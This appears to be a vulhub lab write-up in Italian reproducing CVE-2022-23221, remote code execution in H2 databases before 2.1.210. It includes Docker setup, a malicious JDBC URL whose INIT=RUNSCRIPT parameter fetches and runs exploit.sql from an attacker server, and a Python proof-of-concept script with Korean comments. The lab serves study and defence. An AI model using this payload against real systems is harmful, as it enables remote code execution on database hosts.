
vulhub/H2-database/CVE-2022-23221
Riferimento: https://nvd.nist.gov/vuln/detail/cve-2022-23221
H2 è un sistema di gestione di database relazionali che fornisce la funzionalità di compilare ed eseguire direttamente codice Java all'interno del motore SQL.
Il driver H2 analizza l'URL JDBC per stabilire la connessione tra l'applicazione e il database. Tramite i parametri di configurazione inclusi nell'URL, è possibile controllare lo stato iniziale o il comportamento del database.
Nelle versioni di H2 precedenti alla 2.1.210, esiste il problema che è possibile eseguire script SQL remoti tramite il parametro INIT dell'URL JDBC. Un attaccante può sfruttarlo per iniettare da remoto uno script SQL manipolato ed eseguire comandi di sistema tramite la sua sintassi, provocando la vulnerabilità CVE-2022-23221.
Le caratteristiche di questa vulnerabilità sono le seguenti.
Ambito di impatto della vulnerabilità
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’.
IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> Bypass delle impostazioni di sicurezza
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> Comando SQL eseguito automaticamente alla connessione tra applicazione e DB
CREATE ALIAS.
CREATE ALIAS all'interno dello script eseguito da remoto fa sì che H2 esegua le funzioni Java dello script all'interno del DB, con conseguente RCE.Scenario
id, whoami, pwd insieme alla stringa "EXPLOITED", ciò significa che l'ambiente H2 vulnerabile è stato configurato e che, durante l'analisi dell'URL JDBC dannoso, il file exploit.sql è stato scaricato ed eseguito da remoto dal server attacker esterno.Configurazione dell'ambiente
docker compose up -d

http://your-ip:8082tcp://your-ip:9092http://your-ip:8000: fornisce il file exploit.sqlDopo la configurazione dell'ambiente, accedendo a http://your-ip:8082 viene visualizzata la pagina web H2.
: Poiché nella console web vengono applicate policy di sicurezza che possono filtrare i parametri che costituiscono la condizione di vulnerabilità, si riproduce la vulnerabilità inserendo direttamente tramite CLI l'URL JDBC contenente i parametri dannosi e se ne verifica il risultato.
URL JDBC normale: "jdbc:h2:mem:test"
Comando di richiesta normale
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""
Risultato dell'esecuzione

Inserire l'URL JDBC dannoso nel driver H2 per tentare la connessione al server attacker. Ci sono 2 modi per inserire l'URL.
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
-user sa \
-password ""
python3 poc.py

H2 richiede (HTTP GET) il file exploit.sql al server attacker come indicato da INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' nel parametro INIT dell'URL JDBC e lo esegue all'interno del database H2.
docker logs attacker è possibile verificare i log delle richieste del file exploit.sql in arrivo dal server h2-vulnerable.docker logs attacker

#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys
"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
# H2 서버 준비 대기
time.sleep(3)
# 검증 우회 파라미터가 포함된 JDBC URL
# IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
# FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
# INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
try:
# H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
cmd = [
'docker', 'exec', 'h2-vulnerable',
'java', '-cp', '/h2-bin/h2.jar',
'org.h2.tools.Shell',
'-url', jdbc_url,
'-user', 'sa',
'-password', ''
]
# Docker 명령어 실행 및 결과
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=15
)
return True
except Exception as e:
print(f"[-] 에러: {e}")
return False
"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다.
반환값: 없음
"""
def main():
if exploit_h2():
print("[+] 공격 완료")
else:
print("[-] 공격 실패")
sys.exit(1)
if __name__ == "__main__":
main()
Come risultato dell'esecuzione del file exploit.sql, nei log del server h2-vulnerable vengono visualizzati i risultati dei comandi id, whoami, pwd insieme alla stringa "EXPLOITED".
È possibile verificare i log con docker logs h2-vulnerable.
docker logs h2-vulnerable`

=> Ciò significa che l'ambiente H2 vulnerabile è stato configurato e che il download remoto e l'esecuzione del file sono riusciti durante l'analisi dell'URL JDBC dannoso da parte di H2.